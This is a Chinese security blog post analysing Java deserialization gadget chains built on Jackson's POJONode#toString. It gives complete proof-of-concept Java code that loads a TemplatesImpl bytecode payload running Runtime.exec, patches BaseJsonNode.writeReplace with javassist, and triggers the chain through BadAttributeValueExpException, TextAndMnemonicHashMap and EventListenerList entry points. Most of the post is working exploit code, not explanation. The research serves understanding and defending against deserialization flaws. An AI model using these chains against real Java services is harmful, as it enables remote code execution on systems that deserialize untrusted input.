jackson 原生反序列化触发 getter 方法
-
jackson的POJONode方法可以任意调用getter
-
jackson序列化会任意调用getter
分析
jackson 序列化会调用任意 getter 方法,jackson 反序列化也会任意调用 getter ,这两个都不需要多说什么了,在前面的 jackson 反序列化中的 TemplatesImpl 链中已经证实过了。
现在只需要讨论 POJONode#toString
--> jackson自身提供的反序列化 --> 任意调用Getter
POJONode 中不存在有 toString 方法的实现,但是其父类的父类存在,
跟进
看到调用了nodeToString 方法,
调用了 writeValueAsString
方法进行序列化这里就会调用 getter 方法,然后剩下的就是加载恶意类进行命令执行了。
poc.java
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.CookieHandler;
import static org.example.ser.setValue;
public class poc {
public static void main(String[] args)throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("gaoren");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val;
val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行确实弹出计算机,但是看调用栈发现根本就没有调用 tostring 方法,发现在 ObjectOuptputStream#writeObject0
抛出异常,
如果序列化的类实现了 writeReplace
方法,将会在序列化过程中调用它进行检查,而在 POJONode
的父类 BaseJsonNode
中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断
我们可以通过删除这个方法来跳过这个过程,但是发现 idea 无法修改源码,那么用 javassist 进行动态修改
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.CookieHandler;
import static org.example.ser.setValue;
public class poc {
public static void main(String[] args)throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("Replace");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("gaoren");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val;
val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
}
}
最后成功调用到 getter 方法弹出计算机。
思考
既然能调用 getter 方法,那么可用的就不只有了 getoutputProperties
,如还可以调用 signedObject#getObject
进行二次反序化。
参考:https://xz.aliyun.com/t/12509
参考:jackson原生反序列化触发getter方法的利用与分析
TextAndMnemonicHashMap
位置:javax.swing.UIDefaults.TextAndMnemonicHashMap
可以看到继承 hashmap 可以进行序列化,然后调用了key的tostring。
然后需要调用其 get 方法,可以通过 java.util.AbstractMap#equals
直接进行调用
所以直接构造(入口直接照搬 cc7 就行了)
package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.Hashtable;
import java.util.Map;
public class test {
public static void main(String[] args)throws Exception {
Class tex = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Constructor con=tex.getDeclaredConstructor(null);
con.setAccessible(true);
Map texmap1 =(Map) con.newInstance();
Map texmap2 =(Map) con.newInstance();
texmap1.put("yy",1);
texmap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(texmap1,1);
hashtable.put(texmap2,1);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
然后现在试试调用 POJONode#toString
方法来进行命令执行
poc.java
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class test2 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("Replace");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("gaoren");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytess = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytess);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
Hashtable hashMap = makeHashMapByTextAndMnemonicHashMap(node);
serilize(hashMap);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Hashtable makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1);
tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
setFieldValue(tHashMap1, "loadFactor", 0.75f);
setFieldValue(tHashMap2, "loadFactor", 0.75f);
return hashtable;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (true){
try {
field = clazz.getDeclaredField(key);
break;
} catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
注意到关键部分
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1);
tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
setFieldValue(tHashMap1, "loadFactor", 0.75f);
setFieldValue(tHashMap2, "loadFactor", 0.75f);
EventListenerList
gadget:
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
来到 EventListenerList.readObject
看到调用了 add 方法,跟进
在 Object 进行拼接的时候会自动触发该对象的 toString
方法,现在只需要看调用哪个 tostring 方法就行了,
看到 l 需要能转型为 EventListener
类的,这里直接选择 javax.swing.undo.UndoManage
类
该类实现了 UndoableEditListener 接口,而该接口继承 java.util.EventListener
,javax.swing.undo.UndoManager#toString
方法
看到 limit
和 indexOfNextAdd
都是 int
属性,所以拼接也不会调用什么。看到前面会调用其父类的 tostring 方法,所以继续向上看
其继承于 CompoundEdit
类,跟进 CompoundEdit#tostring
方法
这里的 inProgress
是 boolean
属性,但 edits
是个对象
所以在拼接的时候会自动触发 Vector#tostring
方法,
然后跟进其父类的 tostring 方法,但是其父类没有 tostring 方法,那么就调用其父类的父类也就是 AbstractCollection#toString
方法
发现 StringBuilder
的 append
方法,
最后看到 obj 可控,那么就能随意调用 tostring 方法了,
poc
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("Replace");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("gaoren");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytess = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytess);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templates);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[] { Map.class, manager });
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(list);
String ser = Base64.getEncoder()
.encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(ser);
byte[] decode = Base64.getDecoder().decode(ser);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
baos.write(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(
baos.toByteArray()));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName)
throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
标签:jackson,java,Object,clazz,getter,obj,import,new,序列化
From: https://www.cnblogs.com/gaorenyusi/p/18411269